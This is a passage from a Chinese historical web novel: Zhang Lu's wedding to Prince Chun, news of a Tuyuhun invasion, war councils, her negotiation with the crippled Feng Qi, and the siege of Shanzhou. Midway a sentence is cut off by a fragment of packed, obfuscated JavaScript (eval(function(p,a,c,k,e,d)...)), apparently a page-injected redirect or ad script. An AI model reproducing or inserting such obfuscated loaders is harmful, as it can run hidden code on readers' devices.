院内,章引玉站在正屋门前,扬声道:“这最后一关,请新郎官作诗,以脚下八块锦绣图为题,一步一图,一图一句,诗成才可请新娘出门。请吧。” 李鹤霖笑到:“这还不简单!” 他踏上第一块锦绣图,出口成章:“琴瑟和鸣为墙东,白玉棋子应罗红。笔走龙蛇书社稷,画卷囊括九州龙。诗歌吟唱江湖梦,醉酒怎闻庙堂风。花容月貌瑶池入,一杯清茶愿与同。” “好!”院外的人欢呼着,章引玉将门打开,章麓走了出来。 晴放在她在左边,双手捧着石榴,晴野在她的右边,双手捧着玉如意。 章麓手持红色缂丝绣扇遮住面庞,一步一步的走下台阶,走到院中央,来到李鹤霖的面前。 李鹤霖伸出手,大拇指上带着一枚白玉扳指,这扳指上雕着并蒂莲,与自己身上的双鱼佩是能扣在一起的。 “跟我走吧,袅袅。” 章麓心尖一烫,刚伸出手,还没落下,就被一旁等候已久的章启挡开。 “出门这段路脚不能沾地,我背你。”章启对自己妹妹说到,然后笑意一收看向李鹤霖:“至于你,跟在后面就行了。” 李鹤霖:“……” 章启背着章麓一直行至前院,礼官唱和,章麓与李鹤霖拜别父母。 章麓跪在蒲团上对着父母行三拜九叩之礼:“父亲,母亲,以后要好好照顾自己。” 虞庆侯夫人忍着眼泪,笑着道:“好,你以后也要好好的与淳王殿下过日子,若是他敢欺负你,你就回来,娘带你回范阳。” “大好的日子你说什么呢!”虞庆侯低声轻斥道。 虞庆侯夫人才不管那些,她好好的女儿送入了宫,以后的路还不知道有多难走。她本可以在北方找个好儿郎逍遥自在一辈子,如今偏偏做了质子,搅和进京城的风雨里。 她出嫁前在长安住了十七年,这四方天地里,身不由己的事太多了,她怎么能忍心让自己的女儿也过这样的日子。 这般想着,虞庆侯夫人的眼泪再也收不住,如断线的珠子一般落了下来。 礼官的唱和仍在继续,章麓站起身,随着礼官一句又一句吉祥话,一步又一步的走出了前堂,走出了虞庆侯府,离自己的父母越来越远。 鸾凤轿子起,鞭炮齐鸣,喜乐奏起,虞庆侯府开宴。 嫁妆与聘礼合计七百四十抬,一路绵延而去十数里。 路过右仆射府时,因着与虞庆侯府也算是姻亲,便着看门的小厮打开大门,命管家带人站在外面撒喜果、喜钱。 小厮好奇的问管家:“怎得聘礼也给抬回去了?” 管家道:“听说是虞庆侯的意思,说他不是卖女儿,不收聘礼。若将来两人过得不如意,便请陛下恩准和离。嘿,当今天下,也就虞庆侯有这个底气和霸气,如此说了。” 待队伍行至淳王府,已然是午时末,花轿直接从正大门被抬进了正院,由喜娘牵引着去了主屋。 皇子的婚礼与其他人不同,要在申时初入宫拜见皇帝皇后,于昭仁殿敬拜先祖之后,刻皇家玉碟后,才会于酉正在朱雀街大摆流水宴。 因着现在没有太子,宴请百官的宴席,便定在了东宫里的朱华殿。 章麓坐在软榻上,猛灌了两盏清茶才缓过劲来。喜娘端上喜面,粗圆的面条上面放着红彤彤的石榴,一看就知道不好吃。 但今日是大喜的日子,衣食住行皆要讨个吉利,章麓便含泪将这碗面吃了。 不吃不行啊,这就是她的午饭! 李鹤霖正在前院接待道贺的官员,忙得脚不沾地,便让管家过来递话:“王妃,王爷说了,让您先摘了冠在塌上小睡,待时辰到了,再来叫您一道入宫。” 章麓疑惑:“这样也行?”这好像跟礼部的人说得不太一样啊。 司仪嬷嬷在旁边忍了又忍,那句不合规矩到了嘴边还是咽了下去。淳王殿下如日中天,他开的口,又有谁敢反驳? 她在心里叹了口气,上前两步道:“王妃先歇息吧,今日起得早,想必已经是累极了。” 见司仪嬷嬷都这样说,章麓捏了捏自己已经僵硬的腰,从善如流道:“那好吧,嬷嬷也辛苦了,主院西厢房有软榻,嬷嬷可以歇歇。” 司仪嬷嬷笑得真诚:“谢王妃。” 这一觉睡得踏实,直到晴放打帘叫她,章麓还躺在塌上迷瞪。 “王爷已经在院外等着了,奴婢给您盘发戴冠。”晴放手脚麻利的给章麓穿衣穿鞋,将人引至梳妆镜前坐下,手指翻飞于如瀑般的黑发间。 未时四刻,鸾凤轿子再次被抬起,一路从坊门而出上了朱雀大街。 喜乐奏响,新人入宫。 突然,队伍的末尾传来一阵嘈杂声。章麓意外的侧过身,掀开层层叠叠的帐幔朝后看去。 “王妃!出嫁不能往回看!”司仪嬷嬷惊呼道。 而章麓哪儿管那么多,因为她看见了后背插着信旗的传讯官纵马飞驰而来。 “让开!八百里加急!八百里加急!” 抬轿的人瞬间乱作一团,后面负责护卫的翊卫赶忙指挥人群避让,章麓看着那驿马如流星般闪过,心中顿生不好的预感。 此时,骑马行在最前的李鹤霖已经调转头行至她的身侧,面色凝重道:“是陇右道的信旗。” 章麓一把掀开轿帘,不顾司仪嬷嬷的劝阻,喊到:“牵马来。” 一旁的翊卫直接下马将缰绳递给了她。 珠帘摇晃,红衣翻飞,章麓对晴放晴野道:“你们去虞庆侯府报信。”说罢,马鞭一抽,直奔皇城。 昭仁殿外的备房中,正与皇后坐在一起,开心等待儿子儿媳进宫拜见的泰安帝,瞧见孟德海连滚带爬的闯了进来:“陛下!陇右道蒋昌伯送八百里加急!” 只见已经精疲力尽、口唇干裂发紫的信使被两个内侍架着走了进来,他跪趴在地上,声音沙哑:“吐谷浑联合突厥攻打鄯州及安西,鄯州城破,康都那什战死,吐谷浑的兵马已过河州了!” 啪—— 红色的喜宴茶盏摔在地上,四分五裂。 130. 第 130 章 西平军帅帐内,蒋昌伯正与四方将军商讨战情。 左将军道:“鄯行山有六陉(xing二声),唯井陉有盆地,进可攻退可守,可康都那什那个蠢货手握五万精兵,竟然这样都打不过祁中岳的一万骑兵!” 蒋昌伯摸着手心的的老茧,平淡道:“从西羌人的领土往东,想要跨越鄯行山只有井陉可走,可井陉明着有三个陉口,实则只有一个。” 他看向左将军:“井陉北线的尽头是湖泊,周围密林环绕,无村无县。东南线倒是有条古商道,只是荒废已久,再加上当年西洲侯强攻党项人时,将那条路给堵了,祁中岳不是傻子,吃力不讨好的事他不会干。便只有南向的驰道可走。自西羌的那约城,一路向南,便可直达井陉的翻山岭,挺入鄯城的寒口关。” 右将军摸了摸自己的下巴,反复描绘了康都那什的败走路线,奇怪道:“他为什么退出陉口后不往东北方向走向我们求援,反而往南走?” 蒋昌伯:“祁中岳不是主力军,只是偏军。主力由西戎大王子带领,与西突厥将领阿史那思力统领的八万人合并为一股,目标是安西四郡。当年秦国灭赵,也是兵分两路。但王翦所率主力部队却被赵将李牧困在了太行山的井陉,相持数年,最后还是靠着反间计才拿下的李牧的。祁中岳就是考虑到井陉狭窄,不易大军通过,才会只领偏军前往,而命主力部队攻打安西四阵,好牵制住我,令我无从他顾。” 他的目光闪烁:“没想到,当年老侯爷授予的兵法,如今竟用在了同门师兄弟的身上,简直可笑。” 左将军蹙了蹙眉,没有说话。 蒋昌伯又道:“康都那什只有三个选择:第一,死守待援,把希望寄托在西平军上,可他向来不喜欢我,又因着我是老虞庆侯的徒弟,和章氏关系过密,与他父亲有灭族之仇,并不信我,甚至总想将我踩在脚底下,所以根本不敢向我求救;第二,留下小股部队守住井陉天险,堵住祁中岳,再寻机会南下走河口反偷祁中岳的屁股,可他的军事能力远不是祁中岳的对手,根本不敢冒这个险;第三,便是利用内线作战的优势,换守为攻,引诱祁中岳穿过陉口,度过黄河,待祁中岳背水后,以营垒为中心可攻可守,甚至战法运用的好能一举歼灭祁中岳的偏军。” “但祁中岳完全可以待在井陉口不出来。”右将军道。 蒋昌伯点头:“没错。所以,无论祁中岳出或不出,他的上策都是北上求援,可惜了,他并不信我,祁中岳便是算准了这一点才敢冒这个险。” 吐谷浑和西突厥的主力共十六万人都在安西四郡,谁也不能保证蒋昌伯能守多久。万一守不住,韩信又龟缩在井陉口虎视眈眈,康都那什反而会进退失据,想打谁都打不了。 前锋将军提出了自己的疑惑:“祁中岳为什么要出来?他不出来才是上上策。他领偏军至此,明显是为了牵制康都那什,毕竟整个西平军,只康都那什的骑兵可与突厥骑兵一战,祁中岳本来的目的并不是围剿他,只是不想让他北上。” 闻言,蒋昌伯想起了以往在昭义的时候,叹息道:“因为有内应。” “什么?”四位将军均露出震惊之色。 蒋昌伯道:“若是其他人我不敢肯定,但如果是祁中岳,定然是因为有内应。两日前,我曾得到一份密报,鄯州刺史劝谏康都那什将淳王留下的三千吐谷浑俘虏收编,康都那什便将他们分散去了不同的守备军中。” 四位将军闻言,一股寒意瞬间涌入四肢百骸,心中只余四个大字:诱敌之计。 在康都那什进退无路的时候,突然赢得一场胜利,以他好大喜功的性子,定然会一股脑的追上去,待他领兵离开,大营的守军便等同于群龙无首。 那些被分散在各路队伍的吐谷浑人若是在这个时候选择反叛,与祁中岳暗中遣来的小股部队里应外合,将各路插上吐谷浑人的战旗,那么即便康都那什反应过来,也都无济于事了。 右将军问道:“若是这般,军中定有位高权重的内奸!是谁?”他顿了顿,不可思议的瞠目道:“难不成是……” 蒋昌伯点头道:“就是鄯州刺史敬明天!” * “为何?”李鹤霖扣着护袖,不解道:“我之前与敬明天有过交集,他父母皆被突厥所屠,恨他们都来不及,又怎么会成为他们的内应?” 章麓将盘发解开,以银冠束发,换做男装打扮:“利益动人心,霍封黔给我的账本里,有他的名字,从祁中岳叛变后,他便与淮南王搭上了线,为她向吐谷浑送金银木粮行方便,使得淮南王能从洛阳转运后改走陆路过陇西,穿河州,进入吐谷浑。他投向的应当不是突厥,而是吐谷浑。” 李鹤霖头脑发蒙,怔怔的望着窗外的日暮西垂:“我以前曾同情过他,甚至想着他怀才不遇,才在鄯州那么偏远的地方做了十几年的刺史。” “也许是怀才不遇,也许是心有丘壑,这都不重要。”章麓握住他的手:“此番驰援陇右,你要多加小心,祁中岳阴险狡诈,以前在范阳时,父亲常赞他谋略有佳,是几个师兄弟里玩起阴谋手段最厉害的一个,同样的兵法,同样的布局,偏就他能剑走偏锋,出其不意。” 李鹤霖笑到:“这我倒是不惧,在河南的时候我确实太钻牛角尖了,但论兵法上的剑走偏锋,我自认不输任何人。” 想起凤家人,他面带忧色:“你此去鄂五城也要小心谨慎,凤家一百年前突然转投吐谷浑的事颇为蹊跷。但无论出于何种原因,叛国便是叛国。我感谢凤起的救命之恩,也知道他救我本就存着些心思。你当真要策动凤家?我着实是不放心。” 章麓道:“凤家小宗与西戎大王子有牵连,也是凤家小宗派人送大王子和大公主去的北宁关。我对神花公主虽心有芥蒂,但她终究是元暮叔叔的妻子,元清的母亲。这一次我去凤家,不单单是要策动他们,我还要送一位吐谷浑的皇室血脉认祖归宗。” “崔家那个?崔青卓?” 章麓点头。 “吐谷浑王身体不行,怕是没几日活头,吐谷浑二王子是个扶不起的阿斗,摄政王有野心却无法收服当年神花长公主留下的人脉,就是个没有实力的空架子,不足为惧。你若能杀了吐谷浑大王子,我再以利诱凤家大宗与我合作,便能将崔青卓推上位,斩杀祁中岳,那一切便迎刃而解了,何须我以命相搏?” “原来你早就做好的打算。”李鹤霖淡淡的笑了,“早在从古马坑出来那天起,你便为今天埋下了种子。只是,如今凤家大小宗之间不和,难保他们不会利用你做什么。我无法说出什么‘不在乎百姓生死,只在乎你’的话,但是我希望你知晓,若是你死了,待我替你报仇后,我定然也不会独自活着。” 章麓眸光微动,莞尔:“我知晓了,这句话我也原封不动的还给你,你若不想我做个不孝不悌的人,就一定要活着回来。” 因着此番行军匆匆,泰安帝并没有设践行宴,只领百官于朱雀门送行。 李谨焕一身布衣跪在泰安帝面前,磕了三个响头。 泰安帝眸中闪过一丝水光:“从今以后,你便是庶民,去了西域之后,可不能像以前那般被人左右了。” 李谨焕哽咽道:“儿子知道,父亲,永别了。” 他站起身,与张锦一道翻身上马,头也不回的并入队伍,夕阳下的光影只留余晖。 李鹤霖拱手道:“父皇,保重。” “你一定要小心,虞庆侯和世子已经快马加鞭反回北地,六十万大军不是吃素的,定能荡平突厥!你到了陇右,一定要听蒋将军的指挥,万不可刚愎自用,明白吗?” “儿臣知道,父亲,等我凯旋。”李鹤霖翻身上马,带领剩余的四百墨云骑,直奔西北。 另一边,长安西郊十里亭。 虞庆侯夫人握住章麓的手,担忧道:“你只带双竹一人可行?吐谷浑那边谁知道什么情况,还是将晴野晴放都带上吧。” 黎耀在旁附和。 章麓摇头:“她们必须留下来帮大哥哥管理大同商号。如今大同商号已经掌握吐谷浑过半的经济命脉,我需他与我里应外合,才能逼得凤家做选择。” 她反握住母亲的手:“母亲信我,章家儿女没有蠢人,我知道该怎么做。” 虞庆侯夫人叹了口气:“当年云峰也是这般跟我说的,可他却再也没有回来。袅袅,母亲不求你什么,只求你,不要让母亲的余生都在失孤中度过。” “母亲,我答应你。” “双竹,保护好她,也保护好自己。” “是!” * 十日后,吐谷浑,鄂五城。 一两青蓬马车迎着清晨的薄雾步入了南郊的番禺镇。 章麓将自己易容成了二十出头的翩翩公子,身着一身月白色竹纹锦袍,头戴翠微纹青玉冠,腰束天青底云锦累金丝扣腰带,脚穿月白底竹纹锦缎长靴。剑眉锋锐,鼻骨宽挺,眸光清冷宛若孤月,红唇浅薄好似映山红绵延的裂谷。 双竹难得不穿绛紫色的衣服,换上了与章麓类似的月白锦袍,只是底纹是怒放的雍菊。不过识货的人打眼一瞧,就能发现两人身上穿的是工艺相同的衣袍,遥遥望去就像是一对兄弟。 崔青卓则被两人藏在鄂五城的大同商号里,待时机成熟之后再让他出现。 双竹将护袖缠好:“鄂五城势力复杂,多是汉人移居至此,大同商号曾试图从野庵河南渡,却被当地城主劫掠,后来又试了几次皆不成,便改道从西川西入吐蕃,再顺纳林哈次城进吐谷浑。我们若是有求于凤家怕是会反被要挟。” 章麓道:“所以我们要摆上筹码,告诉凤家大宗,我们是来帮助他们的。” 吐谷浑吞并西域三十六诸国之前,一直是中原的附庸,每年向中原进贡马匹一千,因而与中原一直相安无事。只是前朝六王之乱,令吐谷浑窥见了崛起的契机,趁中原自顾不暇之时,兴兵而起,吞并了西北三十六诸国,领土、人口、经济瞬间超越吐蕃,开始向中原展示他们的野心。 章麓道:“吐谷浑王虽自封为西戎王,但内部争斗一直不断。如今的吐谷浑王身体不好,封弟弟拓拔噶尔为摄政王,朝政皆由其代理。然而拓拔噶尔是极为排外的,他一直秉承‘非我族类其心必异’的思想,看不惯大王子当年为招揽祁中岳,请封他大丞相的行为。可大王子乃是王后独子,将来必定承接吐谷浑的王位。两人政见不同,变搅动着朝廷风雨不断。” 双竹:“可祁中岳能迅速在朝堂上站稳脚跟,靠得是从中原带过去的政策与技术。” “不错,但这些总有消耗完的一天,他一直试图通过这些技术,掌控吐谷浑的经济稳固自己的地位,但我又怎么会让他如愿。”章麓道:“祁中岳娶凤家女,为的就是凤家在吐谷浑庞大的财力,以及作为吐谷浑第一汉商的身份。吐谷浑善养马却不善耕种,凤家作为原本的剑南第一世族,曾教授当地人开垦荒山,教百姓如何在山坡上种地,一代又一代的人招募善耕农户进凤家,挑选良种,改良土地。因而掌握剑南道尽三成土地,最善耕种。当年若不是前西洲侯背信弃义,娶了人家的女儿还放火烧山,令蜀郡至峨眉以西的郡县损失惨重,凤家也没有理由改名换姓叛出中原,反刺了前朝一刀。” 因为虞庆侯和章麓这边利用千金城迅速组建起了自己的商号,另一边并利用章弋夫人裴氏在西北的影响,贯通巴州直河州的水上商道,将中原的物品送入吐谷浑,迅速在吐谷浑发展起大同商号。大大拖延了祁中岳的控制吐谷浑经济的步伐,为章麓争取到了时间在吐谷浑扎根。 章麓掀开车帘,看向山峦叠翠的窗外景色,幽幽道:“有了钱自然就有强大的兵,所以吐谷浑大王子才有底气与摄政王抗衡。只是,吐谷浑王还能活多久?待他死了,摄政王是教出摄政大权还是取而代之?谁也无法预料。” 朝堂上的局势如同搭在弓弦上的箭矢,究竟什么时候会发,向哪儿发? 如果她现在给凤家大宗指一条明路,相信以凤家大宗的智慧,定然会做出正确的选择。 到那时,被釜底抽薪的祁中岳,又有什么底气跟大梁抗衡! 待两人抵达郊外凤家老宅时,天上下起了淅沥沥的小雨。 双竹下车撑开伞,转身掀开马车帘子道:“到了,二弟。” 章麓从马车中走了出来,一袭月白色在到处都是红蓝交映的吐谷浑,反而令人眼前一亮,宛若雨露化人,滋润人间。 大门外的守卫互看一眼,左边的守卫上前问道:“你们是何人?” 章麓拱手道:“我与兄长受凤家故人所托,前来送药。”说罢,从袖中拿出一块巴掌大的令牌,递交给守卫。 那令牌由胡杨木所制,六边皆雕刻着精细的云纹,正面刻着一只精美绝伦的抱球麒麟,背面雕着篆刻的‘凤’字。 那守卫神色一凛,严肃道:“不知故人姓甚名谁?” 章麓道:“直言西平李氏便是。” “行,你们在这稍等片刻。” 大约半刻钟后,守卫返回,身后跟着一个穿着褐色锦缎长袍的中年男子。 衣着没有绣纹,身上也无坠饰,瞧着不大像凤家的主事。 “吴管家,就是他们。” 被称为吴管家的人对他们上下打量了一番,谨慎的问道:“不知你们来此所为何事?” 章麓语气淡漠,并没有因为自己是‘报恩’的而变得热络:“故人已至西平,成败只此一次机会,不知这位可否做主?” 吴管家是凤家主的心腹,知道事情甚多,包括大少爷在鄯州救了一个李姓小将,而这位李姓小将如今是大晋王朝唯一太子人选的事。 要不然,也不会派他出来查看情况。 而章麓这句话令他心神一凛,将人领至一旁,低声道:“小公子这话是什么意思?” 章麓笑着看他:“若吴管家不知道是何意思,便不会避人耳目。请您禀告凤家主,扳倒凤家小宗的机会只此一次。毕竟这恩‘故人’也不是非报不可,您说对吧?” 吴管家在雨中撑着伞,神色冷若冰霜:“你这是威胁?” “不,是合作。” 合作?吴管家想到如今吐谷浑与大晋的局势,心中了然,他道:“随我进来。” 吐谷浑的建筑风格与大梁不同,他们以红、蓝、黄、白、黑五色为主。只是凤家这老宅外面看着与吐谷浑的风格一致,只是内里却依旧保留着中原特有的青砖黛瓦。 影壁石,九转回廊,一跨又一跨,直至一座二层小楼。 那小楼有八角,朱红色的窗框、门框皆浮雕着吉祥图案,八根朱红色立柱的柱脚浮雕着精美的云纹,其精美绝伦之程度,饶是走南闯北、见多识广的双竹都没见过。 而章麓只在大相国寺和皇城见过,且她可以直白的说,这工匠技艺,只当年建大相国寺的工匠可与之媲美。放眼整个院落,只这里最为精美。 可这座小楼却位于如此清幽之地,且看砖石、立柱、窗棂等毫无磨损痕迹,明显是新建没多久的,里面住着的人定然身份很高,但移居至此……章麓心中有一种预感。 吴管家语气淡淡:“两位公子在此稍等片刻。” 这一等便是一盏茶的时间,双竹眉头微蹙,心中有些不满,章麓倒是坐得住,一点也没有被怠慢的感觉,反而双臂环胸坐在椅子上闭目养神。 随着一阵木轮转动声传来,章麓心中微动,却依旧稳坐泰山连眼都不睁,双竹也只端着茶碗,视线不往来人的身上飘。 吴管家见状,轻咳两声,但章麓和双竹依旧无动于衷。 他神色恼怒,正欲发作,却被一双苍白纤瘦的手阻止了。 “怠慢了二位,凤起在此赔罪。”一道虚弱的男声传入耳朵,章麓疑惑的睁开双眼,瞥向来人。 对方坐在轮椅上,才入深秋便穿了一身雪白的狐狸皮袄,腰部一下盖着厚厚的羊皮毯子,只是这垂下来的部分……似是空的。 “你的腿……” “截了。”说得云淡风轻,但章麓发现他放在毯子上的手微曲了一下。 还是不甘心的,这就好办。 章麓问:“为何?” 吴管家怒而插话:“还不是因为你的主子!当年要不是少爷救了他,被祁中岳记恨,进谗言给大王降罪于少爷,少爷也不会被打了八十板子,硬是将腿给生生打断了!” “主子?”章麓挑眉:“谁跟你说李鹤霖是我主子了?他也配?” 吴管家一愣,显然没预料到这种发展,他惊到:“你们不是他派来的吗?” 章麓神色带着些轻慢:“当然不是,我与他只是合作关系。能合作便是兄弟,合作不了便是仇人。我替他报恩,他允我一些我需要的东西,互利共赢罢了。” 吴管家一时间不知所措,他看向自家少爷,见对方露出有趣的神情,没有慌乱和愤恨,便放心的闭口不再言语。 凤起的眸光中带着些审视:“你想要什么?” “祁中岳。” “死的?” “活的。” 凤起神色微凛:“你是什么人?” “能助凤家一步登天的人。” 凤起的神色不再云淡风轻,他严肃道:“你是替他报恩,既报恩,便不应该再提其他条件。” “那你觉得,祁中岳与你的命,李鹤霖与你的命,等价吗?”章麓的视线扫过凤起的腿,语气波澜不惊:“既不等价,提出些额外条件又有什么问题?” 等价吗?在凤起心里,他比其他人的命都重要,可如果他敢这么认为,眼前的人定然转身就走,他先失去双腿,后有被小宗那些势利小人折磨了两个月,身上落下了病根,大夫断言他活不过一年,可他不甘心,他想活着,想复仇! “你知道我得了什么病?”凤起问道。 章麓的视线落在凤起苍白的脸上:“因为怕痛,大夫又不敢下重手,腿断得不干净,还有就是……心病,你过不去这个坎儿,才躲在了这里。” “放肆!”吴管家惊怒。 章麓:“面子有那么重要吗?琅琊王氏能成为百年门阀,只因为懂得两个字,‘忍’和‘退’。凤家若也想像琅琊王氏那般百年传承,便要懂得‘放得下’。” “那章氏呢?”凤起忽然问道:“若我今日留你在此,章氏也必定受我挟制,你可是虞庆侯仅剩的血脉。” 章麓顿了顿,没想到他居然一眼就猜出自己的身份,面色平静道:“章氏一族从不在乎血脉传承,否则早就断在五十年前了。” 五十年前,东突厥突袭云中,当时的虞庆侯世子章敏战死,次子章原战于雁门力竭而亡,其余堂兄弟姐妹只余章素环一人,然章素环伤及腹部无法生育,章氏血脉就此断绝。 虞庆侯做主偷梁换柱,为章家已故的几个未婚嗣子,选择了两个怀有遗腹子的将士遗孀,做主改名换姓与自己的孩子结为夫妻,并将婚典时间改为一年前。将他们生下的孩子作为章氏血脉延续,继承虞庆侯府。 诞下的两个孩子,便是如今章麓已经战死的祖父和姑祖母。 自此,章氏一族常常会收养部将的遗腹子,他们若在意血脉传承,早就消失不见了。 凤起并不知道这些,他摸不准章麓说这话的意思,虽隐约有所猜测,却觉得颇为滑稽可笑,这世间的大家族哪个不在乎血脉呢?他更确信是虞庆侯有其他的儿子,例如在章云锋死后,找个侍女生下儿子,然后去母留子。 章麓见他眸光越来越幽深,便知道他想岔了,不过这对于她来说并不重要。 “若家主觉得做不到,可以继续求医问药。”章麓语气淡漠:“但价值千金的续骨丹,只大同商号的聚粹轩有,就是不知以凤家主肯不肯冒这个险回到中原。” 聚粹轩不允许仆役进入拍场叫价进拍,这才是凤家虽身怀巨宝,却一直没能拿到续骨丹的缘由。 凤家选择叛逃的时候,就已经与过去的人脉断绝干净,再加上西洲侯一直虎视眈眈驻守西川,使得他们也不敢轻易越界寻人帮助。 这也是凤起为什么会选择在大皇子的埋伏下救下李鹤霖,凤家大宗不能被小宗代替,他们需要一个强而有力的人脉,令他们有资本与祁中岳抗衡。 只是没想到祁中岳会这么疯,而吐谷浑王对他的信任和依赖也超乎想象。 “合作吗?”章麓再次递出橄榄枝。 “如果我说不呢?” 章麓沉默了片刻,忽而笑到:“凤少爷,这世间没有鱼和熊掌兼得的好事。” “没有转圜余地?” “没有。”章麓沉声道。 凤起咬了咬牙:“你确定能拿到续骨丹?听闻这药全天下只有聚粹轩有三枚,但一枚给了章氏,一枚卖给了前安国公崔氏救崔敏先,如今只剩下这一枚,千金难求。” “我说能便能。” 凤起目光微抬,打量了一番坐在下首位的两人,道:“我有一对孪生妹妹,年芳十五,正是议亲的时候,不知二位公子可有家室?” 章麓道:“你不会是想……” “听闻世子有一正妻,不过多年未孕,不知是真是假?” 章麓漠然,她以为对方认出了她的身份,原来只认出了一半……不是,她三哥都二十七了,她一个十九岁的芳华少女难不成跟他看起来一个岁数吗? 双竹的表情也颇为微妙,他打量了一番瘦如骷髅的凤家长子,忍不住问道:“凤公子以为,我和弟弟哪位是世子?” “弟弟?”凤起蹙眉:“你明显只是个侍卫,他才是正经主子,这点眼力我还是有的。” 很好,双竹不置可否。 “娶是不可能娶的,如果凤少爷打的是这个主意,那我们就没得谈。”章麓不想跟他再浪费时间,直接问道:“凤少爷考虑好了吗?一枚续骨丹,一份送大宗一步登天的计谋,换祁中岳,如何?” 凤起勾了勾唇:“可。” * 入夜,鄯州城。 波立维骂骂咧咧的从羊圈中走出,手中还拖着个鲜血淋漓的羔羊。 抱着长矛倚靠在围栏外的哨兵瞧见他,笑嘻嘻的问道:“大王子要吃羊肉?这中原人养的羊可比咱们党项人差多了。”说着,他还呷吧了一下嘴,回味了一下方才的烤羊腿的香味。 波立维‘嘁’了一声道:“那你别吃啊,这三四天你们队偷吃了几只羊?还尽找羊羔宰,早晚让赞波普发现!到时候就丢你去喂狼!” 哨兵毫无在意的说到:“大王子这会儿正忙着玩女人呢,哪儿有空理我们?哎,听说余氏那两姐妹貌若天仙,是不是真的?” 波立维‘呸’了一声,想起这几日守在门外,听着大王子不分白天黑夜的荒唐,忍不住怒道:“天天喝酒玩女人,两个还不够,还让自己的亲卫去城中抓!哪个国家的王子像他这般荒唐!也就是身后有个汉人撑腰,否则早就被摄政王给弄死了!” “嘘——你就不怕被别人听见,去大王子那儿告你一状!到时候你可吃不了兜着走!”哨兵小心翼翼的观察了一下周围,确认四下无人才低声道:“大王身体不好,大王子眼瞧着就是下一任继承人,你倒好,天天不想着巴结却搞中原人谏言那一套,明明是亲卫长却被打发来宰羊,你还看不清形势啊?” 想起今早劝他处理军务的时候,大王子看他的可怕眼神,波立维忍不住蹙起眉头:“可他若再这般胡闹下去,吐谷浑不是被大晋灭国,就是被吐蕃吞并!” “嘘嘘嘘!”哨兵恨铁不成钢道:“那又关你什么事?被吞并也好被攻陷也罢,不过就是换个大王罢了,日子还不是照样过!” “你说得不对!”波立维扬声道:“国家没了咱们就是奴隶!没有人权没有尊严,生死全在别人一念之间,怎么可能照样过日子!” “那也是以后的事了,灭国哪儿那么容易,跟咱们有什么关系,你瞧这中原人盖的城池……”哨兵的话戛然而止,他指着远处的手不住的颤抖着:“火……火……着火了!粮库着火了!” 他迅速跑回自己站岗的哨台,奋力吹响了号角。 波立维立刻丢下手中的羊,直直的朝鄯州城西南的慧园奔去,那是鄯城守将康都那什的私人园子,大王子一攻下鄯城就将那里霸占下来,并将余家年轻漂亮的女子都囚禁在那里,后来还有从城中抓来的各色美女,将慧园打造成了类似‘铜雀台’的存在。 波立维骑马闯入慧园,守门的卫兵拦不住,赶忙去报告大王子。波立维一路上都看见各种衣不附体的女子缩在角落里瑟瑟发抖,心中越来越愤怒! 原本在都城的时候,大王子还没有这般色令智昏,府上除了正妃和两名妾室也并没其他女人,他在大王子身边七年时间,从未见过他好色的一面,向来是意气风发、胸有沟壑,哪里会想到如今他会如此荒唐可笑! 马的速度远比卫兵跑步的速度快的多,波立维奔至荷香园门前翻身下马,迅速跑至湖边的一座房子,距离大门还有十几步的时候,就能听见从内传出的欢好之音。 他一脚踹开大门,不顾门中女子们的惊叫声,扬声道:“大王子,粮仓失火!梁军攻进来了!” 话音未落,他感觉眼前有寒光闪过,紧接着便是脖子一凉,眼前血红满天,视角在旋转翻飞,他脑子有些转不过弯来。 到底怎么了?发生了什么? 然而,他再也思考不出来了,身上不着寸缕的大王子琅颌天卓随手拾起一件衣服,用它擦干净手中的弯刀,脚步虚浮的往前走了两步,一脚踹翻波立维的尸身:“在城里,父王管着我就算了,你算是个什么东西!还有祁中岳,什么女色误人,都是谬论!” “大人!”一个身着软甲的兵将浑身淤血的冲了过来,惊慌失措道:“粮草营失火了!梁军用巨石轰塌了东北角的箭楼和望楼,顺着城墙爬进来了!” “什么!攻进来了?不可能!波立维最善守城,有他在鄯城固若金汤!他去哪里了?”琅颌天卓来不及穿上衣服,直接裹着铠甲、挂上佩刀就往外冲:“叫波立维召集军队!随我冲!” 那兵将瞪圆双目看着倒在血泊中的波立维,颤声道:“波立维大人已死……” “什……”琅颌天卓猛得意识到方才自己做了什么事,惊骇的瞪大了双眼,好半晌才找回自己的神智:“去将穹波和那孙波找来!快!” “是!” * 陌刀所向,人马俱裂。 李鹤霖将手中陌刀翻转,毫不留情的再次砍下敌人的头颅,看向三丈外的祁越泽,眼神阴冷。 祁越泽手握着长枪,心中发寒。他不认识眼前的人,但他能感觉到对方的杀意。他心里不明白,大家都是汉人,为什么就非要赶尽杀绝呢?章麓如此,眼前这个人也是如此! 他身边忠心耿耿的护卫领着数十骑拼死护住他,祁越泽绝望的开始后撤,在他接近城门的时候,从中飞出密如雨点的箭矢与飞石,那些东西如同蝗虫一般越过他的头顶,砸向紧随而来的敌人。 在一阵兵荒马乱的惨叫声中,祁越泽终于狼狈的逃回了城内:“关门!马上关门!” 他声嘶力竭的喊着,死亡的惊恐令他脑海中不断重演北宁关的噩梦。他当年不应该心软回去看一眼的,否则他就不会看到章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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是啊,他在痛惜什么呢?自己装作不在意,可事实上还是被登州的事给影响了,被杨素乾说服了。他绝对不能心软,若是因为一时的于心不忍,错过了最佳战机,或许他就再也没有机会回去,而河关后的百姓就会重蹈北宁关的覆辙。 清点好战械的小将军,拿着两面旗子满头大汗的跑过来:“大将军,攻城器械已经准备好!请大将军下令!” “想必大家已经迫不及待了。”蒋昌伯微微一笑,扬声道:“今日扬我大梁军威,明日西戎定不敢来犯!为我河山,为我百姓,为我亲族!杀!” “杀——” 两面黄旗奋力摇摆,一块块巨石和震天雷伴随着撼天震地的喊杀声飞跃天空,冲向鄯州城墙。 此起彼伏的爆裂声在城楼上炸开,无数吐谷浑士兵被炸翻在地,血肉模糊。 李鹤霖惊讶的看着这些怪异的东西伴随着烟雾轰塌城墙,问道:“是火药?奉州伯改进的火石?” 坐在马背上的蒋昌伯呵呵笑到:“淳王殿下,虞庆军能在乱世之中固守己身,坚若磐石,靠得从来都不是朝廷,而是自己!” 